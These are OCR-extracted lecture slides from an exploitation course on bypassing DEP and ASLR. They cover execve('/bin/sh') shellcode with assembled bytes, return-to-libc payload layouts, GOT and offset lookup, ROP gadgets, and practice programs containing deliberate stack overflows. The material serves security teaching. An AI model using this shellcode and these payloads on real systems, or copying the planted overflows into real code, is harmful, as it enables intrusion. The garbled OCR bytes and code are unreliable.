Secure Programming
Bypass Mitigation



Overview

e Customize shellcode

 Bypass DEP & ASLR

e Return to libc / text

e Return Oriented Programming



Write your own shellcode

e nasm -f bin -0 sc.bin sc.asm

BITS 32
global _start

e xXd -l SC.bIn

_Start:
xor eax,eax
push eax

push Ox68732f2f
push @Ox6e69622f
mov ebx,esp

push eax
push ebx
mov ecx,esp
mov al, Oxb
int 0x80

cychao@CatKali:~/ctf/nctu/slide$ nasm -f bin -0 binsh.bin binsh.s &% xxd -i binsh.bin
unsigned char binsh_bin[] = {

Ox31, OxcO, Ox50, Ox68, Ox2f, Ox2f, Ox73, Ox68, Ox68, Ox2f, @Ox62, Ox69,

Oxbe, Ox89, Oxe3, Ox50, Ox53, Ox89, Oxel, Oxbd, @x0b, Oxcd, Ox80

s

unsigned int binsh_bin_len = 23;

+ Ref: http://www.vividmachines.com/shellcode/shellcode.html



http://www.vividmachines.com/shellcode/shellcode.html

Alphanumeric shellcode

e Shellcode with 0-9 a-z A-Z

* use printable opcode LSS
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Bypass DEP + ASLR

Return to text
Return to libc
ROP

Blind ROP



Return to a function call

ffff5000 AAAA
wrsoos|  eop [N isoos  aaaa
ffff5008 ret ffff5008 | addr of func

ffff500c argl ffff500c | after lib call
5010 ffff5010 | ptr to “/bin/sh”
ffff5014 22?7 ffff5014




Practice - return to text

e gcc -fno-stack-protector -m32

Einclude

#include

#include

char *binsh = ;
void foo (char *bar)

{
char c¢[12];

memcpy(c, bar, strlen(bar));

}
int main (int argc, char **argv)
{
char buf[ 1;
fprintf( , %x\n", &system);
fgets(buf, , );
foo(buf);



Sol.

e Function: system's address is : 0x8048430
e objdump -D foo_4 | grep bin

e [nput = “a’x?? +[&system] + “aaaa” + [binsh]



Return to libc

« EIURABHZE system?

o RHEEF A text Bk call system()

o FERRZ libc By offset @ B EERY

o BNEEE libc FIR I B E H BlsystemHyoffset




Global Offset Tables

e (Get saved function address from GOT

e objdump -R ./a.out

cychao@ubuntu:~/bof$ objdump -R foo_1
foo_1: file format elf32-1386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049ffc R_386_GLOB_DAT __gmon_start__
08040028 R_386_COPY stdin

0804a00c R_386_JUMP_SLOT printf

08040010 R_386_JUMP_SLOT fgets

08040014 R_386_JUMP_SLOT strcpy

08040018 R_386_JUMP_SLOT __gmon_start__
0804a01c R_386_JUMP_SLOT __libc_start_main



=T &= offset

cychao@ubuntu:~/bof$ objdump -d /1ib32/1ibc.so0.6 | grep "fprintf>:"
00043100 <_IO_vfprintf>:

0004cb80 <fprintf>:

cychao@ubuntu:~/bof$ objdump -d /1ib32/1libc.so0.6 | grep "system>:"
0003fc40 <__libc_system>:

cychao@ubuntu:~/bof$ objdump -d /1ib32/1ibc.so0.6 | grep "execve>:"
000b5300 <execve>:

000b5350 <fexecve>:

BEELHL libc B base , # T REH BT

£7602000-£77a8000 -xp 00000000 fc:00 4587531 /1ib32/1ibc-2.19. 50
CTTUB080-TITGUE00 --p 00105000 fc:00 4587531 /1ib32/1ibc-2.19. 50
f7700000-f77ab000 rw-p 00107000 fc:00 4587531 /1ib32/11bc-2.19.s0



Practice - Return to Libc

e gcc -fno-stack-protector -m32

ﬁiﬂCLLdC
#1nclude
#1nclude
char *binsh =
void foo (char *bar)
{
char c[172];

memcpy(c, bar, strlen(bar));

}
int main (int argc, char **argv)
{
char buf[ 1;
int * ptr = -
fprintf( . wA\n", *ptr);
fgets(buf, , );
foo(buf);



gcc -static”?
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o Y #RAKStatic?

e DFHEZ E—1Esystem().




Return Oriented Programming

Find gadgets
Assemble gadgets
Smashing the Stack

Ret!



ROP tool

ROPgadget
Mona

IDA Pro + plugin

objdump + grep

» objdump -d ./a.out | grep -B 3 ret | grep -A 3 eax



Find Gadgets 1/2

Control Register

o EIATPLIZES] eax , ebx , ecx , esp HY gadgets

804f7b2: 89 d8 mov %ebx , %eax
804f7b4 . Sb pop %ebx
80417b5: c3 ret

80bb576: 89 cc mov %ecx,%esp

80bb578: c3 ret



Find Gadgets 2/2

» (Get/Set String (/bin/sh) address

° j;\a\ \‘j]\‘

10

L ENLAJ 2R memory address

TH

—+KI
N/
N

.+ FEZHRE “loin/sh’

e System Call

UUVUVUTJLJ . T \NJ 1TCSPe 1T CL

cychao@ubuntu:~/bof$ objdump -d foo_6 | grep -B 3 ret | grep -A 3 "int "
80610e0: cd 80 int $0x80
80610e2: c3 ret



Assemble Gadgets

« B FIFYgadgetzHEHEZR

« X stackiVE, Emstii{Hadd espAJgadget

o BHEstacknl 1% FL{E N stack, HpopEH EEL

 Wargame 0-3 ROP

e (&7 push¥}, #BElibcEHBIEIH gadgets




Smashing the Stack

« BETHEgadgetiRTE R argumentE & ZE B 4F

o TERZEIE Stack !




Practice - ROP

e gcc -fno-stack-protector -m32 -static

ﬁincludc

#1include

#include

char *binsh = ;
void foo (char *bar)

{
char c¢[12];

memcpy(c, bar, );

}
int main (int argc, char **argv)
{
char buf[ 1;
fprintf( , ')
fgets(buf, , );
foo(buf);



